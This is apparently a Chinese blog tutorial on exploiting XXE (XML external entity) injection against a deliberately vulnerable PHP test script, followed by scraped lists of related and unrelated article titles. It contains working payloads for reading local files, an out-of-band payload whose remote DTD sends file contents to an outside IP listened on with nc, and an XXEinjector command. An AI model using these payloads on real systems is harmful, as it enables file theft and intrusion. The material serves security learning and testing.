xxe漏洞实战
前言
在 2017 年版的 OWASP TOP 10
, xxe
强势上位。
本文对网上常见的利用方式做一个汇总
正文
测试环境
win10 phpstudy
测试代码:
<?php
$data = file_get_contents('php://input');
echo $data;
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
就是直接对 POST
数据进行 xml
解析。
读取本地文件(有回显)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///e:/flag.txt" >]>
<root>
<name>&xxe;</name>
</root>
上面是读取 e:/flag.txt
文件的内容,然后使用 &xxe;
引用
读取本地文件(无回显)
发送的 payload
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://45.63.0.120:8000/ed.dtd">
%remote;
%send;
]>
<data>4</data>
http://45.63.0.120:8000/ed.dtd
的内容为
<!ENTITY % payload SYSTEM "file:///e:/flag.txt">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://45.63.0.120:2345/%payload;'>">
%param1;
大概的流程如下:
程序解析 我们发送的 payload
解析到引用了外部实体,加载
第一行获取 e:/flag.txt 的内容为 payload 的值
第2行 往指定端口发送 http 数据,加上payload 的值
首先 用 nc
监听 45.63.0.120:2345
, 同时在 45.63.0.120:8000
起一个 http server
nc
成功接收到了数据。
可以对文件内容做个 base64
编码 ,此时的 dtd
文件内容
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=e:/flag.txt">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://45.63.0.120:2345/%payload;'>">
%param1;
使用XXEinjector自动化
脚本链接
https://github.com/enjoiz/XXEinjector
XXEinjector
和 sqlmap
是一种类似的方式,对正常的数据包请求包进行注入。
sudo ruby XXEinjector.rb --host=192.168.211.131 --file=/home/haclh/XXEinjector/req.txt --oob=http --path=/e:/flag.txt --verbose
--host 本机 ip
--file 正常请求的数据包文件,可以用 burp 抓取
--path 需要读取的文件
参考
https://b1ngz.github.io/XXE-learning-note/
https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
xxe漏洞实战的更多相关文章
- 听补天漏洞审核专家实战讲解XXE漏洞
对于将“挖洞”作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity ...
- 实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会 ...
- PHP XXE漏洞
PHP xml 外部实体注入漏洞(XXE) 1.环境 PHP 7.0.30Libxml 2.8.0Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用 2.原理介绍 X ...
- xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
- xxe漏洞检测及代码执行过程
这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...
- XXE漏洞学习
0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...
- ASP.NET微信支付XXE漏洞修复
1. XXE场景 关于XML解析存在的安全问题指引 微信支付商户,最近暴露的XML外部实体注入漏洞(XML External Entity Injection,简称 XXE),该安全问题是由XML组件 ...
- java中xxe漏洞修复方法
java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...
- [Web安全] XXE漏洞攻防学习(上)
0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...
随机推荐
- 【BZOJ2082】【POI2010】Divine divisor 假的pollard-rho
题目大意:给你$m$个数$a_i$,定义$n=\Pi_{i=1}^{m}a_i$.将$n$分解质因数为$\Pi p_i^{k_i} $,$p_i$是质数.请输出$2^{max(k_i)}-1$,以及存 ...
- ubuntu 下 重启 mongo 后 遇到蛋疼问题。
以后,切忌 mongo 正常关闭后 ,再重启ubuntu. 否则后果这是很严重. 2014.8.6日 PM 6点. 网站莫名打不开了,全部是空白,又是老问题. 幸亏 及时发现,那就重启下. 蛋疼,重启 ...
- Postman—添加断言和检查点
前言 postman断言是JavaScript语言编写的,在postman客户端指定区域编写即可. 断言会在请求返回之后,运行,并根据断言的pass\fail情况体现在最终测试结果中. 一.断言步骤 ...
- Python -- 网络编程 -- 认识Python3的urllib库
Python3的urllib包含5个模块 urllib error parse request response robotparser 各个模块的主要成员: error ['ContentTooSh ...
- 解决chrome,下载在文件夹中显示,调用错误的关联程序
https://blog.csdn.net/qq_32337527/article/details/81778732?utm_source=blogxgwz0
- android学习-LocationManager(一)-定位方式原理解析
参考资源:android 4种定位原理及实现——1 android使用不同的方法为应用提供位置信息. 定位的方式有三种:GPS地位(A-GPSAssistedGPS:辅助全球卫星定位系统,或者是同步G ...
- 配置私有仓库(使用registry镜像搭建一个私有仓库)
在使用Docker一段时间后,往往会发现手头积累了大量的自定义镜像文件,这些文件通过公有仓库进行管理并不方便:另外有时候只是希望在内部用户之间进行分享,不希望暴露出去.这种情况下,就有必要搭建一个本地 ...
- Java简单的RPC实现(一)
RPC使用java最基本的,传输层使用Socket,序列化使用Serializable,java 动态代理模式,但是未实现消息注册等相关信息 大道至简 server端 package com.rpc. ...
- Ruby中Time的常用函数
Time的常用函数 时间对象. Time.now返回当前时间. 1.Time.at Time.at(time[, usec]) 返回time所指时间的Time对象. time可以是Time对象,也 ...
- fiddler工作原理和设置代理问题
1,什么是Fiddler Fiddler是一个http协议调试代理工具,它能够记录客户端和服务器之间的所有 HTTP请求,可以针对特定的HTTP请求,分析请求数据.设置断点.调试web应用.修改请求的 ...